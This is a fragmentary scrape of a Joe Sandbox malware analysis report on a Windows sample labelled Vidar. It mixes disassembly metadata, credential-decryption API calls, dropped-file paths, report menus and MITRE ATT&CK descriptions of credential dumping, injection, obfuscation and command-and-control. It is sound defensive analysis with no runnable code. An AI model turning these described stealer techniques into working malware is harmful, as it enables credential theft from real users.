Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s
String ID: hD
API String ID: 228796091-262436526
Opcode ID: 409cd7c1bf83c29b2ee542b9e6b9b7ee81b9ea46dd19e479b5518fc8c7ab0eab
Instruction ID: bca8277765b73a7c3367079af2383297902382e5092a048222e6be3be78b8573
Opcode Fuzzy Hash: 409cd7c1bf83c29b2ee542b9e6b9b7ee81b9ea46dd19e479b5518fc8c7ab0eab
Instruction Fuzzy Hash: 5AE0D8736002297BDF201E57EC4189B772DFFC03A8F01443AFE1852002D275D9669698

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00412935
__CxxThrowException@8.LIBCMT ref: 0041294A

Part of subcall function 0042B781: _malloc.LIBCMT ref: 0042B79B

Strings

XoD, xrefs: 0041292B, 0041293F, 00412942

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: XoD
API String ID: 4063778783-238703867
Opcode ID: 7c27cb9a0b4f632904579769dd835bfbc158a47bde4544c350d1059e29871ddc
Instruction ID: 78e77a07e58ea50e6e2c9c4ce538c0582bc0b3d403975c2808367054dbe42b7d
Opcode Fuzzy Hash: 7c27cb9a0b4f632904579769dd835bfbc158a47bde4544c350d1059e29871ddc
Instruction Fuzzy Hash: 34F05CB0A0020857CB04FAA9D501EEE7368DF40358F40821FFC1582241FB78925886D9

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004158A0 CryptUnprotectData,LocalAlloc,_memmove,LocalFree,	1_2_004158A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040AA30 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,_memset,CryptBinaryToStringA,	1_2_0040AA30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00415600 _memset,lstrlen,CryptStringToBinaryA,_memmove,lstrcat,lstrcat,	1_2_00415600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00415820 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00415820

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\00440746450577075373182215

C:\ProgramData\05817041688375942296226764

C:\ProgramData\22428703343438507335441715

C:\ProgramData\22428703343438507335441715-shm

C:\ProgramData\30562671907380543272507388

C:\ProgramData\35746121865178509047716708

C:\ProgramData\37707990510604932654966133

C:\ProgramData\38345013959471306846242542

C:\ProgramData\41854390081158473842695081

C:\ProgramData\52766014303501464703169876

C:\ProgramData\59242670612831660624168672

C:\ProgramData\60379239670748708072323449

C:\ProgramData\77364074545019038892817732

C:\ProgramData\77364074545019038892817732-shm

Windows Analysis Report
file.exe

Function 004107F0 Relevance: 2701.2, APIs: 970, Strings: 572, Instructions: 2671
stringmemoryCOMMON

Function 0040C8E0 Relevance: 86.2, APIs: 45, Strings: 4, Instructions: 477
stringfileCOMMON

Function 004171C0 Relevance: 73.9, APIs: 24, Strings: 18, Instructions: 380
filestringCOMMON

Function 0041B050 Relevance: 66.8, APIs: 37, Strings: 1, Instructions: 318
stringmemoryfileCOMMON

Function 0040DE60 Relevance: 65.1, APIs: 20, Strings: 17, Instructions: 368
stringCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre